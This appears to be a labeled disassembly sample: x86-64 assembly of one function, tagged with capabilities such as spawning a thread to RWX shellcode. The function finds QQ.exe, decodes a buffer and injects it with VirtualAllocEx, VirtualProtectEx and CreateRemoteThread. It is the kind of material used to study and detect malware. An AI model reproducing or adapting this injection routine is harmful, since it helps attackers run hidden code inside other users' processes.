Function at 0x14001129e
Capabilities:
Allocate or change rwx memory
Create thread
Enumerate processes
Spawn thread to rwx shellcode

Disassembly:
jmp 0x1400119f0
push rbp
push rsi
push rdi
sub rsp, 0x700
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x120
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp + 0x6b8], rax
lea rcx, [0x1400240a4]
call fcn.1400113b6
lea rax, [rbp + 0x10]
lea rcx, [0x14001ad70]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x115
rep movsb byte [rdi], byte [rsi]
mov byte [rbp + 0x144], 0x13
lea rcx, [0x14001aec0]
call fcn.1400111a9
call qword [sym.imp.ucrtbased.dll_getchar]
lea rcx, [0x14001aee0]
call fcn.1400111a9
mov qword [rbp + 0x168], 0x114
movzx r8d, byte [rbp + 0x144]
mov rdx, qword [rbp + 0x168]
lea rcx, [rbp + 0x10]
call fcn.14001138e
mov qword [rbp + 0x188], rax
lea rcx, [0x14001aef8]
call fcn.1400111a9
mov r8, qword [rbp + 0x168]
mov rdx, qword [rbp + 0x188]
lea rcx, [0x14001af08]
call fcn.1400111a9
xor edx, edx
mov ecx, 2
call fcn.1400111b3
mov qword [rbp + 0x1a8], rax
cmp qword [rbp + 0x1a8], 0xffffffffffffffff
jne 0x140011aee
lea rcx, str.CreateToolhelp32Snapshot__of_processes__failed._n
call fcn.1400111a9
mov eax, 1
jmp 0x140011d53
mov dword [rbp + 0x1d0], 0x238
lea rdx, [rbp + 0x1d0]
mov rcx, qword [rbp + 0x1a8]
call fcn.14001124e
test eax, eax
je 0x140011d31
lea rdx, str.QQ.exe
lea rcx, [rbp + 0x1fc]
call qword [sym.imp.ucrtbased.dll_wcscmp]
test eax, eax
jne 0x140011d14
mov edx, dword [rbp + 0x1d8]
lea rcx, str._PID:___u__n
call fcn.1400111a9
lea rcx, [0x14001afa0]
call fcn.1400111a9
call qword [sym.imp.ucrtbased.dll_getchar]
mov r8d, dword [rbp + 0x1d8]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rbp + 0x428], rax
cmp qword [rbp + 0x428], 0
jne 0x140011b8c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____OpenProcess_
call fcn.1400111a9
lea rcx, [0x14001aff8]
call fcn.1400111a9
call qword [sym.imp.ucrtbased.dll_getchar]
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov r8, qword [rbp + 0x168]
xor edx, edx
mov rcx, qword [rbp + 0x428]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp + 0x448], rax
cmp qword [rbp + 0x448], 0
jne 0x140011bf1
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____VirtualAlloc_
call fcn.1400111a9
mov eax, 0xffffffff
jmp 0x140011d53
mov rdx, qword [rbp + 0x448]
lea rcx, str._i_
call fcn.1400111a9
lea rcx, [0x14001b068]
call fcn.1400111a9
call qword [sym.imp.ucrtbased.dll_getchar]
mov r8, qword [rbp + 0x168]
mov rdx, qword [rbp + 0x188]
mov rcx, qword [rbp + 0x448]
call fcn.1400111cc
mov r8, qword [rbp + 0x168]
xor edx, edx
mov rcx, qword [rbp + 0x188]
call fcn.1400112f3
mov dword [rbp + 0x464], 0
lea rax, [rbp + 0x464]
mov qword [rsp + 0x20], rax
mov r9d, 0x40
mov r8, qword [rbp + 0x168]
mov rdx, qword [rbp + 0x448]
mov rcx, qword [rbp + 0x428]
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
jne 0x140011c9e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____VirtualProtect_
call fcn.1400111a9
mov eax, 0xffffffff
jmp 0x140011d53
lea rcx, [0x14001b0c0]
call fcn.1400111a9
call qword [sym.imp.ucrtbased.dll_getchar]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, qword [rbp + 0x448]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 0x428]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test rax, rax
jne 0x140011d00
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____CreateRemoteThread_
call fcn.1400111a9
xor eax, eax
jmp 0x140011d53
lea rcx, str.__
call fcn.1400111a9
call qword [sym.imp.ucrtbased.dll_getchar]
jmp 0x140011d2f
lea rdx, [rbp + 0x1d0]
mov rcx, qword [rbp + 0x1a8]
call fcn.14001136b
test eax, eax
jne 0x140011b13
jmp 0x140011d44
lea rcx, str.Process32First_failed._n
call fcn.1400111a9
mov eax, 1
jmp 0x140011d53
mov rcx, qword [rbp + 0x1a8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x40]
lea rdx, [0x14001ad20]
call fcn.140011348
mov rax, rdi
mov rcx, qword [rbp + 0x6b8]
xor rcx, rbp
call fcn.1400111c7
lea rsp, [rbp + 0x6c0]
pop rdi
pop rsi
pop rbp
ret